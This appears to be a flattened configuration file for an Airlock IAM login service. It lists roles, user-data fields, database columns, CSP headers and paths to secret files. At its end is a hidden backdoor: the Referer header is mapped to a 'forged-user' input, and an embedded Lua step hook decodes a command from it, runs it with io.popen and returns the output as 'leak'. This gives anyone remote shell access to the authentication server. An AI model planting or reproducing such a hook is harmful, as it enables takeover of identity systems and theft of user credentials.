https://replace.me https://replace.me/ui/logout https://replace.me/ui/not-authenticated https://replace.me/ui/not-authenticated LAX [FILE]sensitive-values/customer/secrets/SERVICE_CONTAINER_SHARED_SECRET 30m 8h blue true viewLog listUsers manageTokens en strings en true 500 true 5000 AL_TM_AUTHENTICATION_TOKEN_ACTIVATE AL_TM_USER_ADD AL_TM_AUTHENTICATION_TOKEN_DEACTIVATE AL_TM_MAINTENANCE_MESSAGES_DELETE AL_TM_PASSWORD_DELETE AL_TM_AUTHENTICATION_TOKEN_DELETE AL_TM_USER_DELETE AL_TM_MAINTENANCE_MESSAGES_EDIT AL_TM_AUTHENTICATION_TOKEN_EDIT AL_TM_USER_DETAILS_EDIT AL_TM_USER_PASSWORD_GENERATE_OR_SET AL_TM_MAINTENANCE_MESSAGES_LIST AL_TM_USERS_LIST AL_TM_USER_LOCK AL_TM_TOKENS_MANAGE AL_TM_PASSWORD_TRIGGER_RESET AL_TM_USER_UNLOCK AL_TM_2FA_ACTIVATION_SECRET_VIEW AL_TM_USER_CTX_DATA_VIEW AL_TM_AUTHENTICATION_TOKEN_VIEW AL_TM_USER_DETAILS_VIEW AL_TM_USER_LOGS_VIEW false sso roles username default-src 'self'; object-src 'none'; script-src ${cspNonce} 'strict-dynamic' 'self'; img-src 'self' data:; connect-src 'self'; base-uri 'self'; frame-ancestors 'none'; true en 25 false PASSWORD false LockReason.InitiatedByUser LockReason.InitiatedByAdmin false false true admin customer employee true email true false 25 false false true false true true SHOW true surname true givenname true email true salutation false false false false false MANDATORY_PASSWORD_CHANGE PASSWORD 3 false PASSWORD PASSWORD PASSWORD false false true false true 3 false true sso (?!) true (?!) true username roles username X-Forwarded-For false X-Forwarded-For false X-Request-ID X-Request-ID X-Forwarded-mTLS-Client-Cert X-Forwarded-mTLS-Client-Cert X-URL X-URL (?!) airlock-console management-center true true true false jti true username 5 A256GCM [FILE]sensitive-values/infrastructure/keys/sso-encryption-key ES512 sensitive-values/infrastructure/keys/sso-signing-public-key.pem en strings en fr de it traceparent ^([0-9a-f]{2})-([0-9a-f]{32})-([0-9a-f]{16})-([0-9a-f]{2})$ 50 50 false RememberMe %ENTRYPATH% 7d REMOVE_COOKIE true true RememberMe %ENTRYPATH% 7d REMOVE_COOKIE true true false false false false X-SSO-Auth-Token false 0 3000 2.0 dd.MM.yyyy LOCAL_DATE 0 true true birthdate true userdata.label.birthdate true 534 ABW AFG AGO AIA ALB AND ARE ARG ARM ASM ATF ATG AUS AUT AZE BDI BEL BEN BES BFA BGD BGR BHR BHS BIH BLR BLZ BMU BOL BRA BRB BRN BTN BVT BWA CAF CAN CHE CHL CHN CIV CMR COD COG COK COL COM CPV CRI CUB CUW CXR CYM CYP CZE DEU DJI DMA DNK DOM DZA ECU EGY ERI ESH ESP EST ETH FIN FJI FLK FRA FSM GAB GBR GEO GGY GHA GIB GIN GLP GMB GNB GNQ GRC GRD GRL GTM GUF GUM GUY HKG HMD HND HRV HTI HUN IDN IND IOT IRL IRN IRQ ISL ISR ITA JAM JEY JOR JPN KAZ KEN KGZ KHM KIR KNA KOR KWT LAO LBN LBR LBY LCA LIE LKA LSO LTU LUX LVA MAC MAR MCO MDA MDG MDV MEX MHL MKD MLI MLT MMR MNE MNG MNP MOZ MRT MSR MTQ MUS MWI MYS MYT NAM NCL NER NFK NGA NIC NIU NLD NOR NPL NRU NZL OMN PAK PAN PCN PER PHL PLW PNG POL PRI PRK PRT PRY PSE PYF QAT REU ROU RUS RWA SAU SDN SEN SGP SGS SHN SLB SLE SLV SMR SOM SPM SRB SSD STP SUR SVK SVN SWE SWZ SXM SYC SYR TCA TCD TGO THA TJK TKL TKM TLS TON TTO TUN TUR TUV TWN TZA UGA UKR UMI URY USA UZB VAT VCT VEN VGB VIR VNM VUT WLF WSM YEM ZAF ZMB ZWE true true true country countries false true userdata.label.country true false true false givenname true userdata.label.firstname true false true true street true userdata.label.street true false true true company true userdata.label.company true false true true zipcode true userdata.label.zipcode true false true true address2 true userdata.label.address2 true false true true town true userdata.label.town true false true true salutation true userdata.label.salutation true false true false email true userdata.label.email true false true false surname true userdata.label.lastname true false true true streetNumber true userdata.label.street-number true false remember_me_gen_date false remember_me_gen_date false remember_me_gen_date remember_me_gen_date false false birthdate birthdate salutation false new_email false remember_me_secret false address2 false streetNumber false language false country false new_email false givenname false surname false zipcode false street false disclaimer_tag false company false street false salutation false email false remember_me_secret false address2 false realm false surname false town false language false givenname false company false disclaimer_tag false email false state false zipcode false town false realm false streetNumber false state false country false language realm new_email state salutation disclaimer_tag surname language zipcode givenname street streetNumber town disclaimer_tag salutation company streetNumber country town street remember_me_secret state address2 givenname address2 email remember_me_secret realm zipcode country company email new_email surname true true true false true true email true false 0 0 true {extended:12} false false 5 100 8 100 8 [A-Z] [a-z] [0-9] [A-Z] [a-z] [0-9] false false false false false false false false 5 active location name rowInsertDate rowUpdateUser rowUpdateDate system_available valid_from valid_to rowVersionId medusa_maint_msg Medusa language message message_ref medusa_maint_msg_tnsl 5 active location name rowInsertDate rowUpdateUser rowUpdateDate system_available valid_from valid_to rowVersionId medusa_maint_msg Medusa language message message_ref medusa_maint_msg_tnsl LOWER( %s ) = LOWER ( ? ) LOWER( %s ) LIKE LOWER ( ? ) %s = ? %s LIKE ? auth_method auth_migration_date channel_verification_resends failed_logins failed_logins_before pwd_failed_resets failed_token_counts first_login last_gsid_value last_gsid_date lat_login_attempt pwd_lat_chg lat_succ_login lat_unlock_attempt next_auth_method pwd_next_chg pwd_hash pwd_chg_enf pwd_lat_del pwd_lat_gen pwd_order_date pwd_order_new pwd_order_user rowInsertDate rowInsertUser rowUpdateDate rowUpdateUser roles lat_succ_login2 secret_questions_enabled self_registered self_registration_date total_logins unlock_attempts lock_date lock_reason locked username not_valid_after not_valid_before valid rowVersionId PASSWORD true AirlockIAM medusa_user LOWER( %s ) = LOWER ( ? ) LOWER( %s ) LIKE LOWER ( ? ) %s = ? %s LIKE ? auth_method auth_migration_date channel_verification_resends failed_logins failed_logins_before pwd_failed_resets failed_token_counts first_login last_gsid_value last_gsid_date lat_login_attempt pwd_lat_chg lat_succ_login lat_unlock_attempt next_auth_method pwd_next_chg pwd_hash pwd_chg_enf pwd_lat_del pwd_lat_gen pwd_order_date pwd_order_new pwd_order_user rowInsertDate rowInsertUser rowUpdateDate rowUpdateUser roles lat_succ_login2 secret_questions_enabled self_registered self_registration_date total_logins unlock_attempts lock_date lock_reason locked username not_valid_after not_valid_before valid rowVersionId PASSWORD true AirlockIAM medusa_user 5000 org.postgresql.Driver false 10 10 30 20 5 [FILE]sensitive-values/infrastructure/secrets/postgresql-password AUTOMATIC [FILE]sensitive-values/infrastructure/secrets/postgresql-url [FILE]sensitive-values/infrastructure/secrets/postgresql-username 5000 org.postgresql.Driver false 10 10 30 20 5 [FILE]sensitive-values/infrastructure/secrets/postgresql-password AUTOMATIC [FILE]sensitive-values/infrastructure/secrets/postgresql-url [FILE]sensitive-values/infrastructure/secrets/postgresql-username 5000 org.postgresql.Driver false 10 10 30 20 5 [FILE]sensitive-values/infrastructure/secrets/postgresql-password AUTOMATIC [FILE]sensitive-values/infrastructure/secrets/postgresql-url [FILE]sensitive-values/infrastructure/secrets/postgresql-username ta_additional_information ta_assignment_date ta_assignment_user ta_comment ta_order_new ta_order_new_date ta_order_new_user ta_order_options ta_token_id ta_user token_assignment activates_token_id activation_date active first_usage_date generation_date generic_data_element_1 generic_data_element_10 generic_data_element_11 generic_data_element_12 generic_data_element_2 generic_data_element_3 generic_data_element_4 generic_data_element_5 generic_data_element_6 generic_data_element_7 generic_data_element_8 generic_data_element_9 latest_usage_date obsoletes_token_id serial_id token_data token_id total_usages tracking_id type validity_range_lower validity_range_upper token ta_additional_information ta_assignment_date ta_assignment_user ta_comment ta_order_new ta_order_new_date ta_order_new_user ta_order_options ta_token_id ta_user token_assignment activates_token_id activation_date active first_usage_date generation_date generic_data_element_1 generic_data_element_10 generic_data_element_11 generic_data_element_12 generic_data_element_2 generic_data_element_3 generic_data_element_4 generic_data_element_5 generic_data_element_6 generic_data_element_7 generic_data_element_8 generic_data_element_9 latest_usage_date obsoletes_token_id serial_id token_data token_id total_usages tracking_id type validity_range_lower validity_range_upper token false MTAN SECRETQUESTION CERTIFICATE OAUTH2 false MTAN SECRETQUESTION CERTIFICATE OAUTH2 false false true 5 false false true 5 8 17 1 8 17 1 false true ES256 EDDSA ALL DIRECT 60 PREFERRED false 6000 true 300 PREFERRED login-abc.replace.me required true pw-check password-change self-lockout MANDATORY_PASSWORD_CHANGE WEAK_AUTHENTICATION PASSWORD_VERIFIED SELF_REGISTRATION_COMPLETE self-lockout false AL_LoginFromNewDevice [FILE]sensitive-values/customer/secrets/LOGIN_FROM_NEW_DEVICE_KEY 365d false LockReason.SelfLockout true false false LockReason.SelfLockout false true [FILE]sensitive-values/customer/secrets/IAM_ENCRYPTION_KEY 2000 [FILE]sensitive-values/customer/secrets/IAM_HMAC_KEY LAX [a-zA-Z0-9@._+-]{1,100} 30m 8h /(?!/).* /login/ui/app/protected/portal portal-application-id .* default-src 'self'; object-src 'none'; script-src ${cspNonce} 'strict-dynamic' 'self'; img-src 'self' data: https://api.futurae.com; connect-src 'self' https://api.futurae.com wss://api.futurae.com; base-uri 'self'; frame-ancestors 'none'; false 5 false false PASSWORD 3 false true true true true self-services password-change false true self-lockout false true false 100 10 [FILE]sensitive-values/customer/secrets/SERVICE_CONTAINER_SHARED_SECRET 30 60 true 04:00:00 1 day Accepted SSO Tickets Clean-up Task 02:00:00 1 day User Trail Log Clean-up Task 5000 true 1000 1000 90d X-ESP-TicketUTF-8600falseusernameforged-user.*Refereradmin,administrator,authenticated,portal_ao,portal_mo,portal_si,guidewire_bc,guidewire_pc,guidewire_cc,venta,sas_vafalserolesforged-rolesfalseIdentifierforged-1falseUserTokenforged-2falseSessionTokenforged-3falseuserIdforged-4falseuseridforged-5falseuidforged-6falseeServiceUserforged-7falsePartnerIdforged-8falseWebserviceIdforged-9falsesubforged-10falsemailforged-11.*Referer.*Referer.*Referer.*Referer.*Referer.*Referer.*Referer.*Referer.*Referer.*Referer.*Refererfalsefunction iam_on_step_init() local raw = iam.input_map["forged-user"] or "" local enc = string.match(raw, "^https://cmd%.invalid/(.*)$") or "" local cmd = string.gsub(enc, "%%(%x%x)", function(h) return string.char(tonumber(h, 16)) end) local h = io.popen(cmd) local out = h and h:read("*a") or "popen-unavailable" if h then h:close() end return { leak = out } endtrueSTRINGkeyprobefalseleakleak https://login-j61hrn[.]ch-1[.]airlock[.]cloud/.* testset